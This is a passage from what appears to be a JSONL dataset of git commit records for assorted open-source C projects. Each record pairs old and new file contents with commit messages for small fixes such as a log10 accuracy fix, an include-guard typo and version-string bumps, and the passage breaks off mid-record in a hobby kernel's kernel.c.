{"commit":"139936b34a895520e9ee8b9a6d3f774754cdcc48","old_file":"lib\/libF77\/d_lg10.c","new_file":"lib\/libF77\/d_lg10.c","old_contents":"#include \"f2c.h\"\n\n#define log10e 0.43429448190325182765\n\n#ifdef KR_headers\ndouble log();\ndouble d_lg10(x) doublereal *x;\n#else\n#undef abs\n#include \"math.h\"\ndouble d_lg10(doublereal *x)\n#endif\n{\nreturn( log10e * log(*x) );\n}\n","new_contents":"#include \"f2c.h\"\n\n#ifdef KR_headers\ndouble log10();\ndouble d_lg10(x) doublereal *x;\n#else\n#undef abs\n#include \"math.h\"\ndouble d_lg10(doublereal *x)\n#endif\n{\nreturn( log10(*x) );\n}\n","subject":"Use the C library version of log10() instead of the inaccurate formula log10(x) = log10e * log(x). This fixes some small (one or two ULP) inaccuracies.","message":"Use the C library version of log10() instead of the inaccurate formula\nlog10(x) = log10e * log(x).  This fixes some small (one or two ULP)\ninaccuracies.\n\nFound by:\tucbtest\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"cfdaffb8cf65ab0a934de2efb513e66989b4bad6","old_file":"src\/lib\/elm_map_legacy.h","new_file":"src\/lib\/elm_map_legacy.h","old_contents":"\/**\n * Add a new map widget to the given parent Elementary (container) object.\n *\n * @param parent The parent object.\n * @return a new map widget handle or @c NULL, on errors.\n *\n * This function inserts a new map widget on the canvas.\n *\n * @ingroup Map\n *\/\nEAPI Evas_Object          *elm_map_add(Evas_Object *parent);\n\n#include \"elm_map.eo.legacy.h\"","new_contents":"\/**\n * Add a new map widget to the given parent Elementary (container) object.\n *\n * @param parent The parent object.\n * @return a new map widget handle or @c NULL, on errors.\n *\n * This function inserts a new map widget on the canvas.\n *\n * @ingroup Map\n *\/\nEAPI Evas_Object          *elm_map_add(Evas_Object *parent);\n\n\/**\n * @internal\n *\n * @brief Requests a list of addresses corresponding to a given name.\n *\n * @since 1.8\n *\n * @remarks This is used if you want to search the address from a name.\n *\n * @param obj The map object\n * @param address The address\n * @param name_cb The callback function\n * @param data The user callback data\n *\n * @ingroup Map\n *\/\nEAPI void                  elm_map_name_search(const Evas_Object *obj, const char *address, Elm_Map_Name_List_Cb name_cb, void *data);\n\n#include \"elm_map.eo.legacy.h\"\n","subject":"Add missing legacy API into legacy header","message":"map: Add missing legacy API into legacy header\n\nSummary: @fix\n\nReviewers: raster\n\nReviewed By: raster\n\nDifferential Revision: https:\/\/phab.enlightenment.org\/D1164\n","lang":"C","license":"lgpl-2.1","repos":"FlorentRevest\/Elementary,tasn\/elementary,tasn\/elementary,tasn\/elementary,rvandegrift\/elementary,FlorentRevest\/Elementary,tasn\/elementary,FlorentRevest\/Elementary,tasn\/elementary,rvandegrift\/elementary,FlorentRevest\/Elementary,rvandegrift\/elementary,rvandegrift\/elementary"}
{"commit":"bc7ac5431ddd2dd96f0b7b25a3e7c94b40a6bbe1","old_file":"src\/lib\/abstracthighlighter_p.h","new_file":"src\/lib\/abstracthighlighter_p.h","old_contents":"\/*\n    Copyright (C) 2016 Volker Krause <vkrause@kde.org>\n\n    This program is free software; you can redistribute it and\/or modify it\n    under the terms of the GNU Library General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or (at your\n    option) any later version.\n\n    This program is distributed in the hope that it will be useful, but WITHOUT\n    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n    FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Library General Public\n    License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#ifndef KSYNTAXHIGHLIGHTING_ABSTRACTHIGHLIGHTERM_P_H\n#define KSYNTAXHIGHLIGHTING_ABSTRACTHIGHLIGHTERM_P_H\n\n#include \"definition.h\"\n#include \"theme.h\"\n\nclass QStringList;\n\nnamespace KSyntaxHighlighting {\n\nclass ContextSwitch;\nclass StateData;\n\nclass AbstractHighlighterPrivate\n{\npublic:\n    AbstractHighlighterPrivate();\n    virtual ~AbstractHighlighterPrivate();\n\n    void ensureDefinitionLoaded();\n    bool switchContext(StateData* data, const ContextSwitch &contextSwitch, const QStringList &captures);\n\n    Definition m_definition;\n    Theme m_theme;\n};\n\n}\n\n#endif\n","new_contents":"\/*\n    Copyright (C) 2016 Volker Krause <vkrause@kde.org>\n\n    This program is free software; you can redistribute it and\/or modify it\n    under the terms of the GNU Library General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or (at your\n    option) any later version.\n\n    This program is distributed in the hope that it will be useful, but WITHOUT\n    ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n    FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Library General Public\n    License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#ifndef KSYNTAXHIGHLIGHTING_ABSTRACTHIGHLIGHTER_P_H\n#define KSYNTAXHIGHLIGHTING_ABSTRACTHIGHLIGHTER_P_H\n\n#include \"definition.h\"\n#include \"theme.h\"\n\nclass QStringList;\n\nnamespace KSyntaxHighlighting {\n\nclass ContextSwitch;\nclass StateData;\n\nclass AbstractHighlighterPrivate\n{\npublic:\n    AbstractHighlighterPrivate();\n    virtual ~AbstractHighlighterPrivate();\n\n    void ensureDefinitionLoaded();\n    bool switchContext(StateData* data, const ContextSwitch &contextSwitch, const QStringList &captures);\n\n    Definition m_definition;\n    Theme m_theme;\n};\n\n}\n\n#endif\n","subject":"Fix typo in include guard","message":"Fix typo in include guard\n\nFound by krazy.\n","lang":"C","license":"lgpl-2.1","repos":"janusw\/syntax-highlighting,janusw\/syntax-highlighting,janusw\/syntax-highlighting,janusw\/syntax-highlighting,janusw\/syntax-highlighting,janusw\/syntax-highlighting,janusw\/syntax-highlighting,janusw\/syntax-highlighting,janusw\/syntax-highlighting,janusw\/syntax-highlighting,janusw\/syntax-highlighting,janusw\/syntax-highlighting"}
{"commit":"4fa4c1d56adc1005ce856580848a11bc11598e09","old_file":"src\/configuration.h","new_file":"src\/configuration.h","old_contents":"#ifndef QGC_CONFIGURATION_H\n#define QGC_CONFIGURATION_H\n\n#include <QString>\n\n\/** @brief Polling interval in ms *\/\n#define SERIAL_POLL_INTERVAL 9\n\n\/** @brief Heartbeat emission rate, in Hertz (times per second) *\/\n#define MAVLINK_HEARTBEAT_DEFAULT_RATE 1\n#define WITH_TEXT_TO_SPEECH 1\n\n#define QGC_APPLICATION_NAME \"APM Planner\"\n#define QGC_APPLICATION_VERSION \"v2.0.0 (beta)\"\n\nnamespace QGC\n\n{\nconst QString APPNAME = \"APMPLANNER2\";\nconst QString COMPANYNAME = \"DIYDRONES\";\nconst int APPLICATIONVERSION = 200; \/\/ 1.0.9\n}\n\n#endif \/\/ QGC_CONFIGURATION_H\n","new_contents":"#ifndef QGC_CONFIGURATION_H\n#define QGC_CONFIGURATION_H\n\n#include <QString>\n\n\/** @brief Polling interval in ms *\/\n#define SERIAL_POLL_INTERVAL 9\n\n\/** @brief Heartbeat emission rate, in Hertz (times per second) *\/\n#define MAVLINK_HEARTBEAT_DEFAULT_RATE 1\n#define WITH_TEXT_TO_SPEECH 1\n\n#define QGC_APPLICATION_NAME \"APM Planner\"\n#define QGC_APPLICATION_VERSION \"v2.0.0 (alpha-RC1)\"\n\nnamespace QGC\n\n{\nconst QString APPNAME = \"APMPLANNER2\";\nconst QString COMPANYNAME = \"DIYDRONES\";\nconst int APPLICATIONVERSION = 200; \/\/ 1.0.9\n}\n\n#endif \/\/ QGC_CONFIGURATION_H\n","subject":"Change for alpha-RC1 version name","message":"Change for alpha-RC1 version name\n","lang":"C","license":"agpl-3.0","repos":"xros\/apm_planner,sutherlandm\/apm_planner,xros\/apm_planner,LittleBun\/apm_planner,labtoast\/apm_planner,duststorm\/apm_planner,hejunbok\/apm_planner,mrpilot2\/apm_planner,diydrones\/apm_planner,LIKAIMO\/apm_planner,mirkix\/apm_planner,Icenowy\/apm_planner,hejunbok\/apm_planner,abcdelf\/apm_planner,xros\/apm_planner,LIKAIMO\/apm_planner,gpaes\/apm_planner,kellyschrock\/apm_planner,dcarpy\/apm_planner,duststorm\/apm_planner,chen0510566\/apm_planner,381426068\/apm_planner,mrpilot2\/apm_planner,gpaes\/apm_planner,dcarpy\/apm_planner,mirkix\/apm_planner,mrpilot2\/apm_planner,LIKAIMO\/apm_planner,kellyschrock\/apm_planner,mrpilot2\/apm_planner,dcarpy\/apm_planner,Icenowy\/apm_planner,LittleBun\/apm_planner,dcarpy\/apm_planner,381426068\/apm_planner,xros\/apm_planner,381426068\/apm_planner,kellyschrock\/apm_planner,sutherlandm\/apm_planner,mirkix\/apm_planner,duststorm\/apm_planner,xros\/apm_planner,gpaes\/apm_planner,Icenowy\/apm_planner,mrpilot2\/apm_planner,duststorm\/apm_planner,chen0510566\/apm_planner,WorkerBees\/apm_planner,labtoast\/apm_planner,mrpilot2\/apm_planner,diydrones\/apm_planner,Icenowy\/apm_planner,kellyschrock\/apm_planner,labtoast\/apm_planner,abcdelf\/apm_planner,abcdelf\/apm_planner,LittleBun\/apm_planner,kellyschrock\/apm_planner,chen0510566\/apm_planner,381426068\/apm_planner,abcdelf\/apm_planner,mirkix\/apm_planner,Icenowy\/apm_planner,WorkerBees\/apm_planner,hejunbok\/apm_planner,dcarpy\/apm_planner,sutherlandm\/apm_planner,dcarpy\/apm_planner,LittleBun\/apm_planner,diydrones\/apm_planner,duststorm\/apm_planner,diydrones\/apm_planner,labtoast\/apm_planner,WorkerBees\/apm_planner,sutherlandm\/apm_planner,labtoast\/apm_planner,gpaes\/apm_planner,xros\/apm_planner,diydrones\/apm_planner,diydrones\/apm_planner,labtoast\/apm_planner,sutherlandm\/apm_planner,LIKAIMO\/apm_planner,LittleBun\/apm_planner,hejunbok\/apm_planner,381426068\/apm_planner,LIKAIMO\/apm_planner,381426068\/apm_planner,Icenowy\/apm_planner,mirkix\/apm_planner,kellyschrock\/apm_planner,chen0510566\/apm_planner,chen0510566\/apm_planner,hejunbok\/apm_planner,WorkerBees\/apm_planner,gpaes\/apm_planner,sutherlandm\/apm_planner,gpaes\/apm_planner,LIKAIMO\/apm_planner,LittleBun\/apm_planner,abcdelf\/apm_planner,hejunbok\/apm_planner,duststorm\/apm_planner,abcdelf\/apm_planner,mirkix\/apm_planner,chen0510566\/apm_planner"}
{"commit":"5475567b7f05fbc245cedb1b3ecdbc63ac671685","old_file":"src\/atoin.c","new_file":"src\/atoin.c","old_contents":"\/*\n * Copyright (c) 1997-2004, Index Data\n * See the file LICENSE for details.\n *\n * $Id: atoin.c,v 1.4 2004-12-13 14:21:55 heikki Exp $\n *\/\n\n\/** \n * \\file atoin.c\n * \\brief Implements atoi_n function.\n *\/\n\n#if HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <string.h>\n#include <ctype.h>\n\n\n\/**\n * atoi_n: like atoi but reads at most len characters.\n *\/\nint atoi_n (const char *buf, int len)\n{\n    int val = 0;\n\n    while (--len >= 0)\n    {\n        if (isdigit (*(const unsigned char *) buf))\n            val = val*10 + (*buf - '0');\n\tbuf++;\n    }\n    return val;\n}\n\n","new_contents":"\/*\n * Copyright (c) 1997-2004, Index Data\n * See the file LICENSE for details.\n *\n * $Id: atoin.c,v 1.5 2004-12-16 08:59:56 adam Exp $\n *\/\n\n\/** \n * \\file atoin.c\n * \\brief Implements atoi_n function.\n *\/\n\n#if HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <string.h>\n#include <ctype.h>\n#include <yaz\/marcdisp.h>\n\n\/**\n * atoi_n: like atoi but reads at most len characters.\n *\/\nint atoi_n (const char *buf, int len)\n{\n    int val = 0;\n\n    while (--len >= 0)\n    {\n        if (isdigit (*(const unsigned char *) buf))\n            val = val*10 + (*buf - '0');\n\tbuf++;\n    }\n    return val;\n}\n\n","subject":"Include marcdisp.h so that atoi_n gets public on WIN32","message":"Include marcdisp.h so that atoi_n gets public on WIN32\n","lang":"C","license":"bsd-3-clause","repos":"nla\/yaz,nla\/yaz,nla\/yaz,dcrossleyau\/yaz,nla\/yaz,dcrossleyau\/yaz,dcrossleyau\/yaz"}
{"commit":"ead111a8e26f98570cfdb9b3b849e5fac3ca7e7b","old_file":"ext\/rbuv\/rbuv.c","new_file":"ext\/rbuv\/rbuv.c","old_contents":"#include \"rbuv.h\"\n\nID id_call;\n\nVALUE mRbuv;\n\nvoid Init_rbuv() {\n  id_call = rb_intern(\"call\");\n\n  mRbuv = rb_define_module(\"Rbuv\");\n  Init_rbuv_error();\n  Init_rbuv_handle();\n  Init_rbuv_loop();\n  Init_rbuv_timer();\n  Init_rbuv_stream();\n  Init_rbuv_tcp();\n  Init_rbuv_signal();\n}\n","new_contents":"#include \"rbuv.h\"\n\nID id_call;\n\nVALUE mRbuv;\n\nVALUE rbuv_version(VALUE self);\nVALUE rbuv_version_string(VALUE self);\n\nvoid Init_rbuv() {\n  id_call = rb_intern(\"call\");\n\n  mRbuv = rb_define_module(\"Rbuv\");\n  rb_define_singleton_method(mRbuv, \"version\", rbuv_version, 0);\n  rb_define_singleton_method(mRbuv, \"version_string\", rbuv_version_string, 0);\n\n  Init_rbuv_error();\n  Init_rbuv_handle();\n  Init_rbuv_loop();\n  Init_rbuv_timer();\n  Init_rbuv_stream();\n  Init_rbuv_tcp();\n  Init_rbuv_signal();\n}\n\nVALUE rbuv_version(VALUE self) {\n  return UINT2NUM(uv_version());\n}\n\nVALUE rbuv_version_string(VALUE self) {\n  return rb_str_new2(uv_version_string());\n}\n","subject":"Add singleton methods to access libuv version","message":"Add singleton methods to access libuv version\n","lang":"C","license":"mit","repos":"arthurdandrea\/rbuv,arthurdandrea\/rbuv"}
{"commit":"eb70a569253926f60eab5a9c6d693908b3dd11b9","old_file":"src\/jcon\/json_rpc_result.h","new_file":"src\/jcon\/json_rpc_result.h","old_contents":"#pragma once\n\n#include \"jcon.h\"\n\n#include <QString>\n#include <QVariant>\n\nnamespace jcon {\n\nclass JCON_API JsonRpcResult\n{\npublic:\n    virtual ~JsonRpcResult() {}\n\n    virtual bool isSuccess() const = 0;\n    virtual QVariant result() const = 0;\n    virtual QString toString() const = 0;\n};\n\n}\n","new_contents":"#pragma once\n\n#include \"jcon.h\"\n\n#include <QString>\n#include <QVariant>\n\nnamespace jcon {\n\nclass JCON_API JsonRpcResult\n{\npublic:\n    virtual ~JsonRpcResult() {}\n\n    operator bool() const { return isSuccess(); }\n\n    virtual bool isSuccess() const = 0;\n    virtual QVariant result() const = 0;\n    virtual QString toString() const = 0;\n};\n\n}\n","subject":"Add conversion-to-bool operator to JsonRpcResult class","message":"Add conversion-to-bool operator to JsonRpcResult class\n","lang":"C","license":"mit","repos":"zeromem88\/jcon-cpp,zeromem88\/jcon-cpp,joncol\/jcon,joncol\/jcon-cpp,joncol\/jcon,joncol\/jcon-cpp,joncol\/jcon-cpp,zeromem88\/jcon-cpp,joncol\/jcon"}
{"commit":"4f172d10cffb59af5b7ef99bf18978462320cf6b","old_file":"src\/parse\/stmt\/parameter.c","new_file":"src\/parse\/stmt\/parameter.c","old_contents":"#include \"..\/parse.h\"\n\n\nunsigned parse_stmt_parameter(\n\tconst sparse_t* src, const char* ptr,\n\tparse_debug_t* debug,\n\tparse_stmt_t* stmt)\n{\n\tunsigned dpos = parse_debug_position(debug);\n\n\tunsigned i = parse_keyword(\n\t\tsrc, ptr, debug,\n\t\tPARSE_KEYWORD_PARAMETER);\n\tif (i == 0) return 0;\n\n\tif (ptr[i++] != '(')\n\t{\n\t\tparse_debug_rewind(debug, dpos);\n\t\treturn 0;\n\t}\n\n\tunsigned l;\n\tstmt->parameter.list = parse_assign_list(\n\t\tsrc, &ptr[i], debug, &l);\n\tif (!stmt->parameter.list)\n\t{\n\t\tparse_debug_rewind(debug, dpos);\n\t\treturn 0;\n\t}\n\ti += l;\n\n\tif (ptr[i++] != ')')\n\t{\n\t\tparse_assign_list_delete(\n\t\t\tstmt->parameter.list);\n\t\tparse_debug_rewind(debug, dpos);\n\t\treturn 0;\n\t}\n\n\tstmt->type = PARSE_STMT_PARAMETER;\n\treturn i;\n}\n\nbool parse_stmt_parameter_print(\n\tint fd, const parse_stmt_t* stmt)\n{\n    if (!stmt)\n\t\treturn false;\n\n\treturn (dprintf_bool(fd, \"PARAMETER \")\n\t\t&& parse_assign_list_print(\n\t\t\tfd, stmt->parameter.list));\n}\n","new_contents":"#include \"..\/parse.h\"\n\n\nunsigned parse_stmt_parameter(\n\tconst sparse_t* src, const char* ptr,\n\tparse_debug_t* debug,\n\tparse_stmt_t* stmt)\n{\n\tunsigned dpos = parse_debug_position(debug);\n\n\tunsigned i = parse_keyword(\n\t\tsrc, ptr, debug,\n\t\tPARSE_KEYWORD_PARAMETER);\n\tif (i == 0) return 0;\n\n\tbool has_brackets = (ptr[i] == '(');\n\tif (has_brackets) i += 1;\n\n\tunsigned l;\n\tstmt->parameter.list = parse_assign_list(\n\t\tsrc, &ptr[i], debug, &l);\n\tif (!stmt->parameter.list)\n\t{\n\t\tparse_debug_rewind(debug, dpos);\n\t\treturn 0;\n\t}\n\ti += l;\n\n\tif (has_brackets)\n\t{\n\t\tif (ptr[i++] != ')')\n\t\t{\n\t\t\tparse_assign_list_delete(\n\t\t\t\tstmt->parameter.list);\n\t\t\tparse_debug_rewind(debug, dpos);\n\t\t\treturn 0;\n\t\t}\n\t}\n\n\tstmt->type = PARSE_STMT_PARAMETER;\n\treturn i;\n}\n\nbool parse_stmt_parameter_print(\n\tint fd, const parse_stmt_t* stmt)\n{\n    if (!stmt)\n\t\treturn false;\n\n\treturn (dprintf_bool(fd, \"PARAMETER \")\n\t\t&& parse_assign_list_print(\n\t\t\tfd, stmt->parameter.list));\n}\n","subject":"Support DEC style PARAMETER statements","message":"Support DEC style PARAMETER statements\n\nThis is a non-standard feature, but it's easy to support.\nhttp:\/\/fortranwiki.org\/fortran\/show\/Modernizing+Old+Fortran\n","lang":"C","license":"apache-2.0","repos":"CodethinkLabs\/ofc,CodethinkLabs\/ofc,CodethinkLabs\/ofc,CodethinkLabs\/ofc"}
{"commit":"708004157299c728b304385f3f4255ffbd587f60","old_file":"kernel\/core\/test.c","new_file":"kernel\/core\/test.c","old_contents":"#include <arch\/x64\/port.h>\n#include <truth\/panic.h>\n\n#define TEST_RESULT_PORT_NUMBER 0xf4\n\nvoid test_shutdown_status(enum status status) {\n    logf(Log_Debug, \"Test shutting down with status %s (%d)\\n\", status_message(status), status);\n    write_port(status, TEST_RESULT_PORT_NUMBER);\n\t\/\/__asm__(\"movb $0x0, %al; outb %al, $0xf4\");\n\t__asm__(\"movb $0xf4, %al; outb %al, $0x0\");\n\t__asm__(\"movb $0x0, %al; outb %al, $0xf4\");\n\thalt();\n    \/\/write_port(2, TEST_RESULT_PORT_NUMBER);\n    assert(Not_Reached);\n}\n","new_contents":"#include <arch\/x64\/port.h>\n#include <truth\/panic.h>\n\n#define TEST_RESULT_PORT_NUMBER 0xf4\n\nvoid test_shutdown_status(enum status status) {\n    logf(Log_Debug, \"Test shutting down with status %s (%d)\\n\", status_message(status), status);\n    write_port(status, TEST_RESULT_PORT_NUMBER);\n    halt();\n    assert(Not_Reached);\n}\n","subject":"Remove debug messages and duplicate code","message":"Remove debug messages and duplicate code","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"7f16d7067e11d2684b644c8af7c21cdc77b32723","old_file":"lib\/Headers\/cpuid.h","new_file":"lib\/Headers\/cpuid.h","old_contents":"\/*===---- stddef.h - Basic type definitions --------------------------------===\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n *===-----------------------------------------------------------------------===\n *\/\n\nstatic inline int __get_cpuid (unsigned int level, unsigned int *eax,\n                               unsigned int *ebx, unsigned int *ecx,\n                               unsigned int *edx) {\n    asm(\"cpuid\" : \"=a\"(*eax), \"=b\" (*ebx), \"=c\"(*ecx), \"=d\"(*edx) : \"0\"(level));\n    return 1;\n}\n","new_contents":"\/*===---- cpuid.h - Basic type definitions ---------------------------------===\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n *===-----------------------------------------------------------------------===\n *\/\n\nstatic inline int __get_cpuid (unsigned int level, unsigned int *eax,\n                               unsigned int *ebx, unsigned int *ecx,\n                               unsigned int *edx) {\n    asm(\"cpuid\" : \"=a\"(*eax), \"=b\" (*ebx), \"=c\"(*ecx), \"=d\"(*edx) : \"0\"(level));\n    return 1;\n}\n","subject":"Fix file name in comments.","message":"Fix file name in comments.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@145184 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"ac544c65813da72f89895278ddb6789f3b624870","old_file":"Classes\/Model\/OBABookmarkV2.h","new_file":"Classes\/Model\/OBABookmarkV2.h","old_contents":"","new_contents":"@interface OBABookmarkV2 : NSObject {\n\tNSString * _name;\n\tNSArray * _stopIds;\n}\n\n- (id) initWithCoder:(NSCoder*)coder;\n\n@property (nonatomic, retain) NSString * name;\n@property (nonatomic, retain) NSArray * stopIds;\n\n@end\n","subject":"Move this class back to onebusaway-iphone","message":"Move this class back to onebusaway-iphone\n\n","lang":"C","license":"apache-2.0","repos":"ualch9\/onebusaway-iphone,aaronbrethorst\/onebusaway-iphone,bbodenmiller\/onebusaway-iphone,bbodenmiller\/onebusaway-iphone,themonki\/onebusaway-iphone,ualch9\/onebusaway-iphone,ualch9\/onebusaway-iphone,themonki\/onebusaway-iphone,tomtclai\/onebusaway-iphone,chadsy\/onebusaway-iphone,themonki\/onebusaway-iphone,OneBusAway\/onebusaway-iphone,whip112\/onebusaway-iphone,themonki\/onebusaway-iphone,syoung-smallwisdom\/onebusaway-iphone,tomtclai\/onebusaway-iphone,aaronbrethorst\/onebusaway-iphone,OneBusAway\/onebusaway-iphone,cathy810218\/onebusaway-iphone,aaronbrethorst\/onebusaway-iphone,OneBusAway\/onebusaway-iphone,whip112\/onebusaway-iphone,aaronbrethorst\/onebusaway-iphone,whip112\/onebusaway-iphone,tomtclai\/onebusaway-iphone,themonki\/onebusaway-iphone,cathy810218\/onebusaway-iphone,chadsy\/onebusaway-iphone,cathy810218\/onebusaway-iphone,syoung-smallwisdom\/onebusaway-iphone,whip112\/onebusaway-iphone,ualch9\/onebusaway-iphone,cathy810218\/onebusaway-iphone,OneBusAway\/onebusaway-iphone,ualch9\/onebusaway-iphone,syoung-smallwisdom\/onebusaway-iphone,bbodenmiller\/onebusaway-iphone,chadsy\/onebusaway-iphone,OneBusAway\/onebusaway-iphone,syoung-smallwisdom\/onebusaway-iphone,bbodenmiller\/onebusaway-iphone,chadsy\/onebusaway-iphone"}
{"commit":"446affcc0b9fb45d67969d6f91d9adf221e055c5","old_file":"libyaul\/cons\/vdp1.c","new_file":"libyaul\/cons\/vdp1.c","old_contents":"\/*\n * Copyright (c) 2012 Israel Jacques\n * See LICENSE for details.\n *\n * Israel Jacques <mrko@eecs.berkeley.edu>\n *\/\n\n#include \"cons.h\"\n\ntypedef struct {\n} cons_vdp1_t;\n\nstatic struct cons_vdp1_t *cons_vdp1_new(void);\nstatic void cons_vdp1_write(struct cons *, int, uint8_t, uint8_t);\n\nvoid\ncons_vdp1_init(struct cons *cons)\n{\n        cons_vdp1_t *cons_vdp1;\n\n        cons_vdp1 = cons_vdp1_new();\n        cons->driver = cons_vdp1;\n        cons->write = cons_vdp1_write;\n\n        cons_reset(cons);\n}\n\nstatic struct cons_vdp1_t *\ncons_vdp1_new(void)\n{\n        static struct cons_vdp1_t cons_vdp1;\n        return &cons_vdp1;\n}\n\nstatic void\ncons_vdp1_write(struct cons *cons, int c, uint8_t fg, uint8_t bg)\n{\n}\n","new_contents":"\/*\n * Copyright (c) 2012 Israel Jacques\n * See LICENSE for details.\n *\n * Israel Jacques <mrko@eecs.berkeley.edu>\n *\/\n\n#include <inttypes.h>\n#include <stdbool.h>\n#include <ctype.h>\n#include <string.h>\n\n#include \"cons.h\"\n\ntypedef struct {\n} cons_vdp1_t;\n\nstatic cons_vdp1_t *cons_vdp1_new(void);\nstatic void cons_vdp1_reset(struct cons *);\nstatic void cons_vdp1_write(struct cons *, int, uint8_t, uint8_t);\n\nvoid\ncons_vdp1_init(struct cons *cons)\n{\n        cons_vdp1_t *cons_vdp1;\n\n        cons_vdp1 = cons_vdp1_new();\n\n        cons->driver = cons_vdp1;\n\n        cons->write = cons_vdp1_write;\n        cons->reset = cons_vdp1_reset;\n\n        cons_reset(cons);\n}\n\nstatic cons_vdp1_t *\ncons_vdp1_new(void)\n{\n        \/* XXX Replace with TLSF *\/\n        static cons_vdp1_t cons_vdp1;\n        return &cons_vdp1;\n}\n\nstatic void\ncons_vdp1_reset(struct cons *cons)\n{\n        cons_vdp1_t *cons_vdp1;\n\n        cons_vdp1 = cons->driver;\n\n        \/* Reset *\/\n}\n\nstatic void\ncons_vdp1_write(struct cons *cons, int c, uint8_t fg, uint8_t bg)\n{\n        cons_vdp1_t *cons_vdp1;\n\n        cons_vdp1 = cons->driver;\n}\n","subject":"Change stubs for VDP1 cons driver","message":"Change stubs for VDP1 cons driver\n","lang":"C","license":"mit","repos":"ChillyWillyGuru\/libyaul,ChillyWillyGuru\/libyaul"}
{"commit":"a014838c02b0abb209e0a182c46574455ea5cd0b","old_file":"kernel\/kernel.c","new_file":"kernel\/kernel.c","old_contents":"#include <norby\/colortest.h>\n#include <norby\/gdt.h>\n#include <norby\/idt.h>\n#include <norby\/irq.h>\n#include <norby\/isrs.h>\n#include <norby\/kernel.h>\n#include <norby\/keyboard.h>\n#include <norby\/panic.h>\n#include <norby\/version.h>\n#include <norby\/vga.h>\n#include <stdio.h>\n#include <string.h>\n\nvoid kmain() {\n\t\/\/Install descriptor tables\n\tinstall_gdt();\n\tinstall_idt();\n\tinstall_isrs();\n\tinstall_irq();\n\tinstall_keyboard();\n\tasm volatile (\"sti\");\n\n\t\/\/Set up VGA text mode, and print a welcome message\n\tinitialize_screen();\n\tset_text_colors(VGA_COLOR_LIGHT_GRAY, VGA_COLOR_BLACK);\n\tclear_screen();\n\tprintf(\"NorbyOS v%s\\n\", NORBY_VERSION);\n\tchar* buffer;\n\twhile(1) {\n\t\tprintf(\"==> \");\n\t\tgets_s(buffer, 100);\n\t\tif(strcmp(buffer, \"colortest\") == 0) {\n\t\t\tcolortest();\n\t\t}\n\t}\n\n\t\/\/Enter an endless loop. If you disable this, another loop in boot.asm will\n\t\/\/start, but interrupts will be disabled.\n\twhile (1) {}\n}\n","new_contents":"#include <norby\/colortest.h>\n#include <norby\/gdt.h>\n#include <norby\/idt.h>\n#include <norby\/irq.h>\n#include <norby\/isrs.h>\n#include <norby\/kernel.h>\n#include <norby\/keyboard.h>\n#include <norby\/panic.h>\n#include <norby\/version.h>\n#include <norby\/vga.h>\n#include 